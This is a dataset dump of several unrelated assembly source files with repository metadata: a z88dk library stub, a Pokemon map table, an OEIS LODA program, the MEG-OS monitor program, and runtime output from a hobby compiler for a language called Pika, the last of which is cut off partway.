libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sccz80/esx_slice_dirent.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; struct esx_dirent_slice *esx_slice_dirent(struct esx_dirent *)
SECTION code_esxdos
PUBLIC esx_slice_dirent
EXTERN asm_esx_slice_dirent
defc esx_slice_dirent = asm_esx_slice_dirent
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _esx_slice_dirent
defc _esx_slice_dirent = esx_slice_dirent
ENDIF
| 17.647059
| 64
| 0.853333
|
1abd434cf13787fe07102125dcdf41b12b1a08cc
| 728
|
asm
|
Assembly
|
data/mapObjects/CeladonMansion1F.asm
|
AmateurPanda92/pokemon-rby-dx
|
f7ba1cc50b22d93ed176571e074a52d73360da93
|
[
"MIT"
] | 9
|
2020-07-12T19:44:21.000Z
|
2022-03-03T23:32:40.000Z
|
data/mapObjects/CeladonMansion1F.asm
|
JStar-debug2020/pokemon-rby-dx
|
c2fdd8145d96683addbd8d9075f946a68d1527a1
|
[
"MIT"
] | 7
|
2020-07-16T10:48:52.000Z
|
2021-01-28T18:32:02.000Z
|
data/mapObjects/CeladonMansion1F.asm
|
JStar-debug2020/pokemon-rby-dx
|
c2fdd8145d96683addbd8d9075f946a68d1527a1
|
[
"MIT"
] | 2
|
2021-03-28T18:33:43.000Z
|
2021-05-06T13:12:09.000Z
|
CeladonMansion1F_Object:
db $f ; border block
db 5 ; warps
warp 4, 11, 2, -1
warp 5, 11, 2, -1
warp 4, 0, 4, -1
warp 7, 1, 1, CELADON_MANSION_2F
warp 2, 1, 2, CELADON_MANSION_2F
db 1 ; signs
sign 4, 9, 5 ; CeladonMansion1Text5
db 4 ; objects
object SPRITE_SLOWBRO, 0, 5, STAY, RIGHT, 1 ; person
object SPRITE_OLD_MEDIUM_WOMAN, 1, 5, STAY, DOWN, 2 ; person
object SPRITE_CLEFAIRY, 1, 8, WALK, 2, 3 ; person
object SPRITE_SLOWBRO, 4, 4, WALK, 1, 4 ; person
; warp-to
warp_to 4, 11, CELADON_MANSION_1F_WIDTH
warp_to 5, 11, CELADON_MANSION_1F_WIDTH
warp_to 4, 0, CELADON_MANSION_1F_WIDTH
warp_to 7, 1, CELADON_MANSION_1F_WIDTH ; CELADON_MANSION_2F
warp_to 2, 1, CELADON_MANSION_1F_WIDTH ; CELADON_MANSION_2F
| 28
| 61
| 0.725275
|
ff5e0688592a2161afab1458ddc441d380a7501a
| 495
|
asm
|
Assembly
|
oeis/176/A176454.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/176/A176454.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/176/A176454.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A176454: Decimal expansion of (12+2*sqrt(42))/3.
; Submitted by Christian Krause
; 8,3,2,0,4,9,3,7,9,8,9,3,8,5,7,3,4,8,7,3,1,0,6,4,4,9,5,7,3,9,1,9,9,7,7,7,1,8,0,3,4,6,9,5,3,8,0,3,8,8,9,7,6,9,9,8,0,7,5,6,9,5,9,8,5,3,9,7,4,4,9,1,8,5,6,2,6,9,6,2,4,7,6,0,0,2,4,0,6,0,4,4,0,3,7,4,0,1,5,7
mov $2,1
mov $3,$0
mul $3,4
lpb $3
add $5,$2
add $5,$2
add $1,$5
mov $2,$5
add $2,$1
mul $2,3
sub $3,2
lpe
mov $1,4
add $1,$5
mul $1,2
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mov $0,$1
mod $0,10
| 19.038462
| 201
| 0.535354
|
d5ff0078baae1bde76337c416ac4f44ab070400f
| 3,821
|
asm
|
Assembly
|
src/app/mon.asm
|
neri/osz
|
d1766e2f5daabd5914a80b838c0219f330a0d0af
|
[
"MIT"
] | 7
|
2017-01-11T17:13:10.000Z
|
2022-02-17T06:40:50.000Z
|
src/app/mon.asm
|
neri/osz
|
d1766e2f5daabd5914a80b838c0219f330a0d0af
|
[
"MIT"
] | null | null | null |
src/app/mon.asm
|
neri/osz
|
d1766e2f5daabd5914a80b838c0219f330a0d0af
|
[
"MIT"
] | 1
|
2019-06-24T09:49:43.000Z
|
2019-06-24T09:49:43.000Z
|
;;
;; MEG-OS Zero - Monitor Program
;;
;; Copyright (c) MEG-OS project
;; All rights reserved.
;;
;; Redistribution and use in source and binary forms, with or without modification,
;; are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice, this
;; list of conditions and the following disclaimer.
;;
;; * Redistributions in binary form must reproduce the above copyright notice, this
;; list of conditions and the following disclaimer in the documentation and/or
;; other materials provided with the distribution.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
;; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
;; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
;; ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
;; (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
;; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
;; ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
;; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
;; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%include "osz.inc"
%define MAX_CMDLINE 63
[CPU 8086]
[BITS 16]
[ORG 0x0100]
xor bp, bp
jmp _init
alignb 2
__bdos resw 1
_call_bdos:
jmp word [cs:__bdos]
; ---------------------------------------------------------------------
_init:
mov [__bdos], bp
mov sp, _END
mov bx, sp
add bx, 15
mov cl, 4
shr bx, cl
mov cx, bx
mov dx, cs
mov ah, OSZ_MCB_REALLOC
call _call_bdos
mov si, 0x0080
mov al, [si]
xor ah, ah
.loop21:
push ax
call _dump_line
pop ax
sub al, 0x10
ja .loop21
;; begin repl
_repl:
; mov ax, ss
; mov ds, ax
; mov es, ax
mov al, '-'
call _putchar
mov dx, cmdline
mov cx, MAX_CMDLINE
mov bx, STDIN_FILENO
mov ah, OSZ_READ
call _call_bdos
or ax, ax
jz _repl
mov bx, dx
add bx, ax
xor al, al
mov [bx], al
mov si, dx
lodsb
cmp al, 'q'
jz _cmd_q
mov dx, bad_cmd_msg
call _puts
jmp _repl
_cmd_q:
int 0x20
; ---------------------------------------------------------------------
_dump_line:
mov dx, ds
call _disp_hex_16
mov al, ':'
int 0x29
mov dx, si
call _disp_hex_16
push si
mov cx, 16
.loop:
push cx
mov al, ' '
int 0x29
lodsb
mov dl, al
call _disp_hex_8
pop cx
loop .loop
pop si
mov al, ' '
int 0x29
mov cx, 16
.loop_asc:
lodsb
cmp al, ' '
jb .noascii
cmp al, 0x7F
jb .skip
.noascii:
mov al, '.'
.skip:
int 0x29
loop .loop_asc
mov al, 13
int 0x29
mov al, 10
int 0x29
ret
_disp_hex_16:
mov cl, 4
jmp short _disp_hex
_disp_hex_8:
mov dh, dl
mov cl, 2
jmp short _disp_hex
_disp_hex:
mov ch, 0
push bx
.loop:
push cx
mov cl, 4
rol dx, cl
mov al, dl
and al, 0x0F
add al, '0'
cmp al, 0x3A
jb .no_0A
add al, 0x41-0x3A
.no_0A:
int 0x29
pop cx
loop .loop
pop bx
ret
; in ds:dx
; out ax
_strlen:
push es
push di
push cx
push ds
pop es
mov cx, 0xFFFF
xor al, al
mov di, dx
repnz scasb
mov ax, -2
sub ax, cx
pop cx
pop di
pop es
ret
; in ds:dx
_puts:
push cx
push bx
call _strlen
mov cx, ax
mov bx, STDOUT_FILENO
mov ah, OSZ_WRITE
call _call_bdos
pop bx
pop cx
ret
_crlf:
mov dx, crlf_msg
jmp _puts
_putchar:
push ds
push ss
pop ds
xor ah, ah
push ax
mov dx, sp
call _puts
pop ax
pop ds
ret
; ---------------------------------------------------------------------
crlf_msg db 13, 10, 0
bad_cmd_msg db "command?", 13, 10, 0
cmdline resb 128
alignb 16
_STACK resw 256
_END:
; ---------------------------------------------------------------------
| 15.72428
| 83
| 0.643287
|
afba2ccd444a54ca14b1b794f738f34c14b706e0
| 101,455
|
asm
|
Assembly
|
pika/output/good_release1.asm
|
Tiffanylqc/Compiler-Design
|
b0a638a84fb11f1facff94438d28fcf4394bd2b2
|
[
"MIT"
] | null | null | null |
pika/output/good_release1.asm
|
Tiffanylqc/Compiler-Design
|
b0a638a84fb11f1facff94438d28fcf4394bd2b2
|
[
"MIT"
] | null | null | null |
pika/output/good_release1.asm
|
Tiffanylqc/Compiler-Design
|
b0a638a84fb11f1facff94438d28fcf4394bd2b2
|
[
"MIT"
] | 1
|
2020-06-26T12:36:57.000Z
|
2020-06-26T12:36:57.000Z
|
Label -mem-manager-initialize
DLabel $heap-start-ptr
DataZ 4
DLabel $heap-after-ptr
DataZ 4
DLabel $heap-first-free
DataZ 4
DLabel $mmgr-newblock-block
DataZ 4
DLabel $mmgr-newblock-size
DataZ 4
PushD $heap-memory
Duplicate
PushD $heap-start-ptr
Exchange
StoreI
PushD $heap-after-ptr
Exchange
StoreI
PushI 0
PushD $heap-first-free
Exchange
StoreI
Jump $$main
DLabel $eat-location-zero
DataZ 8
DLabel $print-format-integer
DataC 37 %% "%d"
DataC 100
DataC 0
DLabel $print-format-floating
DataC 37 %% "%g"
DataC 103
DataC 0
DLabel $print-format-boolean
DataC 37 %% "%s"
DataC 115
DataC 0
DLabel $print-format-character
DataC 37 %% "%c"
DataC 99
DataC 0
DLabel $print-format-string
DataC 37 %% "%s"
DataC 115
DataC 0
DLabel $print-format-tab
DataC 9 %% "\t"
DataC 0
DLabel $print-format-newline
DataC 10 %% "\n"
DataC 0
DLabel $print-format-space
DataC 32 %% " "
DataC 0
DLabel $boolean-true-string
DataC 116 %% "true"
DataC 114
DataC 117
DataC 101
DataC 0
DLabel $boolean-false-string
DataC 102 %% "false"
DataC 97
DataC 108
DataC 115
DataC 101
DataC 0
DLabel $dash-string
DataC 95 %% "_"
DataC 0
DLabel $divide-sign-string
DataC 47 %% "/"
DataC 0
DLabel $minus-sign-string
DataC 45 %% "-"
DataC 0
DLabel $open-bracket-string
DataC 91 %% "["
DataC 0
DLabel $close-bracket-string
DataC 93 %% "]"
DataC 0
DLabel $comma-string
DataC 44 %% ","
DataC 0
DLabel $errors-general-message
DataC 82 %% "Runtime error: %s\n"
DataC 117
DataC 110
DataC 116
DataC 105
DataC 109
DataC 101
DataC 32
DataC 101
DataC 114
DataC 114
DataC 111
DataC 114
DataC 58
DataC 32
DataC 37
DataC 115
DataC 10
DataC 0
Label $$general-runtime-error
PushD $errors-general-message
Printf
Halt
DLabel $errors-int-divide-by-zero
DataC 105 %% "integer divide by zero"
DataC 110
DataC 116
DataC 101
DataC 103
DataC 101
DataC 114
DataC 32
DataC 100
DataC 105
DataC 118
DataC 105
DataC 100
DataC 101
DataC 32
DataC 98
DataC 121
DataC 32
DataC 122
DataC 101
DataC 114
DataC 111
DataC 0
Label $$i-divide-by-zero
PushD $errors-int-divide-by-zero
Jump $$general-runtime-error
DLabel $errors-float-divide-by-zero
DataC 102 %% "float divide by zero"
DataC 108
DataC 111
DataC 97
DataC 116
DataC 32
DataC 100
DataC 105
DataC 118
DataC 105
DataC 100
DataC 101
DataC 32
DataC 98
DataC 121
DataC 32
DataC 122
DataC 101
DataC 114
DataC 111
DataC 0
Label $$f-divide-by-zero
PushD $errors-float-divide-by-zero
Jump $$general-runtime-error
DLabel $null-array-runtime-error
DataC 110 %% "null array"
DataC 117
DataC 108
DataC 108
DataC 32
DataC 97
DataC 114
DataC 114
DataC 97
DataC 121
DataC 0
Label $$null-array
PushD $null-array-runtime-error
Jump $$general-runtime-error
DLabel $index-out-of-bound-error
DataC 97 %% "array index out of bound"
DataC 114
DataC 114
DataC 97
DataC 121
DataC 32
DataC 105
DataC 110
DataC 100
DataC 101
DataC 120
DataC 32
DataC 111
DataC 117
DataC 116
DataC 32
DataC 111
DataC 102
DataC 32
DataC 98
DataC 111
DataC 117
DataC 110
DataC 100
DataC 0
Label $$index-out-of-bound
PushD $index-out-of-bound-error
Jump $$general-runtime-error
DLabel $zero-denominator-error
DataC 111 %% "over zero denominator"
DataC 118
DataC 101
DataC 114
DataC 32
DataC 122
DataC 101
DataC 114
DataC 111
DataC 32
DataC 100
DataC 101
DataC 110
DataC 111
DataC 109
DataC 105
DataC 110
DataC 97
DataC 116
DataC 111
DataC 114
DataC 0
Label $$over-zero-denominator
PushD $zero-denominator-error
Jump $$general-runtime-error
DLabel $expressover-divide-by-zero
DataC 101 %% "expressover divide by zero"
DataC 120
DataC 112
DataC 114
DataC 101
DataC 115
DataC 115
DataC 111
DataC 118
DataC 101
DataC 114
DataC 32
DataC 100
DataC 105
DataC 118
DataC 105
DataC 100
DataC 101
DataC 32
DataC 98
DataC 121
DataC 32
DataC 122
DataC 101
DataC 114
DataC 111
DataC 0
Label $$rational-expressover-divide-by-zero
PushD $expressover-divide-by-zero
Jump $$general-runtime-error
DLabel $rationalize-divide-by-zero
DataC 114 %% "rationalize divide by zero"
DataC 97
DataC 116
DataC 105
DataC 111
DataC 110
DataC 97
DataC 108
DataC 105
DataC 122
DataC 101
DataC 32
DataC 100
DataC 105
DataC 118
DataC 105
DataC 100
DataC 101
DataC 32
DataC 98
DataC 121
DataC 32
DataC 122
DataC 101
DataC 114
DataC 111
DataC 0
Label $$rationalize-divide-by-zero
PushD $rationalize-divide-by-zero
Jump $$general-runtime-error
DLabel $negative-array-length
DataC 110 %% "negative array length"
DataC 101
DataC 103
DataC 97
DataC 116
DataC 105
DataC 118
DataC 101
DataC 32
DataC 97
DataC 114
DataC 114
DataC 97
DataC 121
DataC 32
DataC 108
DataC 101
DataC 110
DataC 103
DataC 116
DataC 104
DataC 0
Label $$negative-length-array
PushD $negative-array-length
Jump $$general-runtime-error
DLabel $null-string-runtime-error
DataC 110 %% "null string"
DataC 117
DataC 108
DataC 108
DataC 32
DataC 115
DataC 116
DataC 114
DataC 105
DataC 110
DataC 103
DataC 0
Label $$null-string
PushD $null-string-runtime-error
Jump $$general-runtime-error
DLabel $no-return
DataC 110 %% "no return"
DataC 111
DataC 32
DataC 114
DataC 101
DataC 116
DataC 117
DataC 114
DataC 110
DataC 0
Label $$no return
PushD $no-return
Jump $$general-runtime-error
DLabel $a-indexing-array
DataZ 4
DLabel $a-indexing-index
DataZ 4
DLabel $express-over-denominator
DataZ 4
DLabel $rational-denominator-temp
DataZ 4
DLabel $rational-numerator-temp
DataZ 4
DLabel $rational-denominator-temp2
DataZ 4
DLabel $rational-numerator-temp2
DataZ 4
DLabel $rational-print-integer-part
DataZ 4
DLabel $rational-print-remainder
DataZ 4
DLabel $rational-print-sign
DataZ 4
DLabel $record-creation-temp
DataZ 4
DLabel $array-datasize-temp
DataZ 4
DLabel $array-identifier-temp
DataZ 4
DLabel $array-status-temp
DataZ 4
DLabel $array-subtype-size-temp
DataZ 4
DLabel $array-length-temp
DataZ 4
DLabel $array-element-temp
DataZ 4
DLabel $cloned-array-temp
DataZ 4
DLabel $print-string-temp
DataZ 4
DLabel $print-string-length
DataZ 4
DLabel $frame-pointer
DataZ 4
DLabel $stack-pointer
DataZ 4
Label $lowest-term-subroutine
DLabel $lowest-term-return
DataZ 4
PushD $lowest-term-return
Exchange
StoreI
Duplicate
JumpFalse $$over-zero-denominator
DLabel $lowest-term-denominator
DataZ 4
DLabel $lowest-term-numerator
DataZ 4
DLabel $lowest-term-gcd
DataZ 4
DLabel $lowest-term-tmpa
DataZ 4
DLabel $lowest-term-tmpb
DataZ 4
PushD $lowest-term-denominator
Exchange
StoreI
PushD $lowest-term-numerator
Exchange
StoreI
PushD $lowest-term-numerator
LoadI
PushD $lowest-term-denominator
LoadI
Subtract
JumpNeg -lowest-term-subroutine-1-exchange
PushD $lowest-term-numerator
LoadI
PushD $lowest-term-denominator
LoadI
Jump -lowest-term-subroutine-1-loop-start
Label -lowest-term-subroutine-1-exchange
PushD $lowest-term-denominator
LoadI
PushD $lowest-term-numerator
LoadI
Label -lowest-term-subroutine-1-loop-start
PushD $lowest-term-tmpb
Exchange
StoreI
PushD $lowest-term-tmpa
Exchange
StoreI
PushD $lowest-term-tmpa
LoadI
PushD $lowest-term-tmpb
LoadI
Duplicate
JumpFalse -lowest-term-subroutine-1-end
Remainder
PushD $lowest-term-tmpb
LoadI
Exchange
Jump -lowest-term-subroutine-1-loop-start
Label -lowest-term-subroutine-1-end
Pop
PushD $lowest-term-gcd
Exchange
StoreI
PushD $lowest-term-numerator
LoadI
PushD $lowest-term-gcd
LoadI
Divide
PushD $lowest-term-denominator
LoadI
PushD $lowest-term-gcd
LoadI
Divide
PushD $lowest-term-return
LoadI
Return
Label $clear-n-bytes-subroutine
DLabel $clear-n-bytes-return-address
DataZ 4
PushD $clear-n-bytes-return-address
Exchange
StoreI
DLabel $clear-n-bytes-element-size
DataZ 4
PushD $clear-n-bytes-element-size
Exchange
StoreI
DLabel $clear-n-bytes-element-addr
DataZ 4
PushD $clear-n-bytes-element-addr
Exchange
StoreI
Label -clear-n-bytes-subroutine-2-loop-start
PushD $clear-n-bytes-element-size
LoadI
JumpFalse -clear-n-bytes-subroutine-2-end
PushI 0
PushD $clear-n-bytes-element-addr
Exchange
StoreC
PushI 1
PushD $clear-n-bytes-element-addr
LoadI
Add
PushD $clear-n-bytes-element-addr
Exchange
StoreI
PushI -1
PushD $clear-n-bytes-element-size
LoadI
Add
PushD $clear-n-bytes-element-size
Exchange
StoreI
Jump -clear-n-bytes-subroutine-2-loop-start
Label -clear-n-bytes-subroutine-2-end
PushD $clear-n-bytes-return-address
LoadI
Return
Label $print-array-subroutine
DLabel -print-array-recursive-3-return-address
DataZ 4
PushD -print-array-recursive-3-return-address
Exchange
StoreI
DLabel -print-array-recursive-3-type
DataZ 4
PushD -print-array-recursive-3-type
Exchange
StoreI
DLabel -print-array-recursive-3-element
DataZ 4
DLabel -print-array-recursive-3-length
DataZ 4
DLabel -print-array-recursive-3-elem-size
DataZ 4
Duplicate
JumpFalse $$null-array
Duplicate
Duplicate
Duplicate
PushI 16
Add
PushD -print-array-recursive-3-element
Exchange
StoreI
PushI 12
Add
LoadI
PushD -print-array-recursive-3-length
Exchange
StoreI
PushI 8
Add
LoadI
PushD -print-array-recursive-3-elem-size
Exchange
StoreI
PushD $open-bracket-string
PushD $print-format-string
Printf
Duplicate
PushI 4
Add
LoadI
PushI 2
BTAnd
JumpFalse -print-array-recursive-3-one-dim
Label -print-array-recursive-3-loop-start
PushD -print-array-recursive-3-length
LoadI
JumpFalse -print-array-recursive-3-end
PushD -print-array-recursive-3-return-address
LoadI
PushD -print-array-recursive-3-type
LoadI
PushD -print-array-recursive-3-element
LoadI
PushD -print-array-recursive-3-length
LoadI
PushD -print-array-recursive-3-elem-size
LoadI
PushD -print-array-recursive-3-element
LoadI
LoadI
Duplicate
PushI 0
Add
LoadI
PushI 6
Subtract
JumpFalse -print-array-recursive-3-one-dim
PushD -print-array-recursive-3-type
LoadI
Call $print-array-subroutine
PushD -print-array-recursive-3-elem-size
Exchange
StoreI
PushD -print-array-recursive-3-length
Exchange
StoreI
PushD -print-array-recursive-3-element
Exchange
StoreI
PushD -print-array-recursive-3-type
Exchange
StoreI
PushD -print-array-recursive-3-return-address
Exchange
StoreI
PushD -print-array-recursive-3-elem-size
LoadI
PushD -print-array-recursive-3-element
LoadI
Add
PushD -print-array-recursive-3-element
Exchange
StoreI
PushI -1
PushD -print-array-recursive-3-length
LoadI
Add
PushD -print-array-recursive-3-length
Exchange
StoreI
PushD -print-array-recursive-3-length
LoadI
PushI 0
Subtract
JumpFalse -print-array-recursive-3-loop-start
PushD $comma-string
PushD $print-format-string
Printf
PushD $print-format-space
PushD $print-format-string
Printf
Jump -print-array-recursive-3-loop-start
Label -print-array-recursive-3-one-dim
Label -print-array-recursive-3-loop-start-2
PushD -print-array-recursive-3-length
LoadI
JumpFalse -print-array-recursive-3-end
PushD -print-array-recursive-3-element
LoadI
PushD -print-array-recursive-3-type
LoadI
PushI 1
Subtract
JumpFalse -print-array-recursive-3-int-label
PushD -print-array-recursive-3-type
LoadI
PushI 2
Subtract
JumpFalse -print-array-recursive-3-float-label
PushD -print-array-recursive-3-type
LoadI
PushI 3
Subtract
JumpFalse -print-array-recursive-3-char-label
PushD -print-array-recursive-3-type
LoadI
PushI 4
Subtract
JumpFalse -print-array-recursive-3-string-label
PushD -print-array-recursive-3-type
LoadI
PushI 5
Subtract
JumpFalse -print-array-recursive-3-rat-label
PushD -print-array-recursive-3-type
LoadI
PushI 6
Subtract
JumpFalse -print-array-recursive-3-bool-label
Label -print-array-recursive-3-int-label
LoadI
PushD $print-format-integer
Printf
Jump -print-array-recursive-3-join-label
Label -print-array-recursive-3-float-label
LoadF
PushD $print-format-floating
Printf
Jump -print-array-recursive-3-join-label
Label -print-array-recursive-3-char-label
LoadC
PushD $print-format-character
Printf
Jump -print-array-recursive-3-join-label
Label -print-array-recursive-3-rat-label
Duplicate
LoadI
Exchange
PushI 4
Add
LoadI
Call $print-rational
Jump -print-array-recursive-3-join-label
Label -print-array-recursive-3-bool-label
LoadC
Call $convert-to-string-if-bool-subroutine
PushD $print-format-boolean
Printf
Jump -print-array-recursive-3-join-label
Label -print-array-recursive-3-string-label
LoadI
Call $print-string
Jump -print-array-recursive-3-join-label
Label -print-array-recursive-3-join-label
PushD -print-array-recursive-3-elem-size
LoadI
PushD -print-array-recursive-3-element
LoadI
Add
PushD -print-array-recursive-3-element
Exchange
StoreI
PushI -1
PushD -print-array-recursive-3-length
LoadI
Add
PushD -print-array-recursive-3-length
Exchange
StoreI
PushD -print-array-recursive-3-length
LoadI
PushI 0
Subtract
JumpFalse -print-array-recursive-3-loop-start-2
PushD $comma-string
PushD $print-format-string
Printf
PushD $print-format-space
PushD $print-format-string
Printf
Jump -print-array-recursive-3-loop-start-2
Label -print-array-recursive-3-end
PushD $close-bracket-string
PushD $print-format-string
Printf
PushD -print-array-recursive-3-return-address
LoadI
Return
Label $print-rational
DLabel $print-rational-return-address
DataZ 4
PushD $print-rational-return-address
Exchange
StoreI
PushI 1
PushD $rational-print-sign
Exchange
StoreI
Duplicate
JumpFalse $$over-zero-denominator
Duplicate
JumpPos -print-rational-4-denominator-pos
PushD $rational-print-sign
LoadI
Negate
PushD $rational-print-sign
Exchange
StoreI
Negate
Label -print-rational-4-denominator-pos
PushD $rational-denominator-temp
Exchange
StoreI
Duplicate
Duplicate
JumpFalse -print-rational-4-zero-numerator
JumpPos -print-rational-4-numerator-pos
PushD $rational-print-sign
LoadI
Negate
PushD $rational-print-sign
Exchange
StoreI
Negate
Label -print-rational-4-numerator-pos
PushD $rational-numerator-temp
Exchange
StoreI
PushD $rational-numerator-temp
LoadI
PushD $rational-denominator-temp
LoadI
Remainder
PushD $rational-numerator-temp
LoadI
PushD $rational-denominator-temp
LoadI
Divide
PushD $rational-print-integer-part
Exchange
StoreI
PushD $rational-print-remainder
Exchange
StoreI
PushD $rational-print-remainder
LoadI
PushD $rational-print-integer-part
LoadI
PushD $rational-print-sign
LoadI
JumpPos -print-rational-4-rational-pos
PushD $minus-sign-string
PushD $print-format-string
Printf
Label -print-rational-4-rational-pos
JumpFalse -print-rational-4-fraction
PushD $rational-print-integer-part
LoadI
PushD $print-format-integer
Printf
Label -print-rational-4-fraction
JumpFalse -print-rational-4-end
PushD $dash-string
PushD $print-format-string
Printf
PushD $rational-print-remainder
LoadI
PushD $print-format-integer
Printf
PushD $divide-sign-string
PushD $print-format-string
Printf
PushD $rational-denominator-temp
LoadI
PushD $print-format-integer
Printf
Jump -print-rational-4-end
Label -print-rational-4-zero-numerator
PushD $print-format-integer
Printf
Pop
Label -print-rational-4-end
PushD $print-rational-return-address
LoadI
Return
Label $print-string
DLabel $print-string-return-address
DataZ 4
PushD $print-string-return-address
Exchange
StoreI
Duplicate
JumpFalse $$null-string
Duplicate
PushI 12
Add
PushD $print-string-temp
Exchange
StoreI
PushI 8
Add
LoadI
PushD $print-string-length
Exchange
StoreI
Label -print-string-5-loop-start
PushD $print-string-length
LoadI
JumpFalse -print-string-5-end
PushD $print-string-temp
LoadI
LoadC
PushD $print-format-character
Printf
PushI 1
PushD $print-string-temp
LoadI
Add
PushD $print-string-temp
Exchange
StoreI
PushI -1
PushD $print-string-length
LoadI
Add
PushD $print-string-length
Exchange
StoreI
Jump -print-string-5-loop-start
Label -print-string-5-end
PushD $print-string-return-address
LoadI
Return
Label $convert-to-string-if-bool-subroutine
DLabel $convert-to-string-if-bool-return-address
DataZ 4
PushD $convert-to-string-if-bool-return-address
Exchange
StoreI
JumpTrue -print-boolean-6-true
PushD $boolean-false-string
Jump -print-boolean-6-join
Label -print-boolean-6-true
PushD $boolean-true-string
Label -print-boolean-6-join
PushD $convert-to-string-if-bool-return-address
LoadI
Return
DLabel -release-record-7-length
DataZ 4
DLabel -release-record-7-element-size
DataZ 4
DLabel -release-record-7-element
DataZ 4
Label $release-record
DLabel $release-record-return-address
DataZ 4
PushD $release-record-return-address
Exchange
StoreI
Duplicate
PushI 4
Add
LoadI
Duplicate
Duplicate
PushI 4
BTAnd
JumpTrue -release-record-7-end
PushI 8
BTAnd
JumpTrue -release-record-7-end
PushI 2
BTAnd
JumpFalse -release-record-7-release
Duplicate
Duplicate
PushI 12
Add
LoadI
PushD -release-record-7-length
Exchange
StoreI
PushI 8
Add
LoadI
PushD -release-record-7-element-size
Exchange
StoreI
PushI 16
Add
PushD -release-record-7-element
Exchange
StoreI
Jump -release-record-7-join
Label -release-record-7-string-record
Duplicate
PushI 8
Add
LoadI
PushD -release-record-7-length
Exchange
StoreI
PushI 1
PushD -release-record-7-element-size
Exchange
StoreI
PushI 12
Add
PushD -release-record-7-element
Exchange
StoreI
Label -release-record-7-join
Label -release-record-7-loop-start
PushD -release-record-7-length
LoadI
JumpFalse -release-record-7-end
PushD -release-record-7-element
LoadI
PushD -release-record-7-length
LoadI
PushD -release-record-7-element-size
LoadI
PushD $release-record-return-address
LoadI
PushD -release-record-7-element
LoadI
LoadI
Duplicate
PushI 0
Add
LoadI
PushI 6
Subtract
JumpFalse -release-record-7-release
Call $release-record
PushD $release-record-return-address
Exchange
StoreI
PushD -release-record-7-element-size
Exchange
StoreI
PushD -release-record-7-length
Exchange
StoreI
PushD -release-record-7-element
Exchange
StoreI
PushD -release-record-7-element-size
LoadI
PushD -release-record-7-element
LoadI
Add
PushD -release-record-7-element
Exchange
StoreI
PushI -1
PushD -release-record-7-length
LoadI
Add
PushD -release-record-7-length
Exchange
StoreI
Jump -release-record-7-loop-start
Label -release-record-7-release
Duplicate
Duplicate
PushI 4
Add
LoadI
PushI 4
Add
Exchange
PushI 4
Add
Exchange
StoreI
Call -mem-manager-deallocate
Label -release-record-7-end
PushD $release-record-return-address
LoadI
Return
Label $subtract-rational
DLabel $subtract-rational-return-address
DataZ 4
PushD $subtract-rational-return-address
Exchange
StoreI
PushD $rational-denominator-temp2
Exchange
StoreI
PushD $rational-numerator-temp2
Exchange
StoreI
PushD $rational-denominator-temp
Exchange
StoreI
PushD $rational-numerator-temp
Exchange
StoreI
PushD $rational-denominator-temp
LoadI
PushD $rational-denominator-temp2
LoadI
Multiply
PushD $rational-denominator-temp2
LoadI
PushD $rational-numerator-temp
LoadI
Multiply
PushD $rational-denominator-temp
LoadI
PushD $rational-numerator-temp2
LoadI
Multiply
Subtract
Exchange
Call $lowest-term-subroutine
PushD $subtract-rational-return-address
LoadI
Return
DLabel $usable-memory-start
DLabel $global-memory-block
DataZ 24
Label $$main
Memtop
PushD $stack-pointer
Exchange
StoreI
Memtop
PushD $frame-pointer
Exchange
StoreI
PushD $global-memory-block
PushI 0
Add %% a
PushI 3
PushI 1
Add
PushI 12
Add
Call -mem-manager-allocate
PushD $record-creation-temp
Exchange
StoreI
PushI 6
PushD $record-creation-temp
LoadI
PushI 0
Add
Exchange
StoreI
PushI 9
PushD $record-creation-temp
LoadI
PushI 4
Add
Exchange
StoreI
PushI 3
PushD $record-creation-temp
LoadI
PushI 8
Add
Exchange
StoreI
PushI 0
PushD $record-creation-temp
LoadI
PushI 15
Add
Exchange
StoreC
PushI 116
PushD $record-creation-temp
LoadI
PushI 12
Add
Exchange
StoreC
PushI 104
PushD $record-creation-temp
LoadI
PushI 13
Add
Exchange
StoreC
PushI 101
PushD $record-creation-temp
LoadI
PushI 14
Add
Exchange
StoreC
PushD $record-creation-temp
LoadI
StoreI
PushD $global-memory-block
PushI 4
Add %% b
PushI 5
PushI 1
Add
PushI 12
Add
Call -mem-manager-allocate
PushD $record-creation-temp
Exchange
StoreI
PushI 6
PushD $record-creation-temp
LoadI
PushI 0
Add
Exchange
StoreI
PushI 9
PushD $record-creation-temp
LoadI
PushI 4
Add
Exchange
StoreI
PushI 5
PushD $record-creation-temp
LoadI
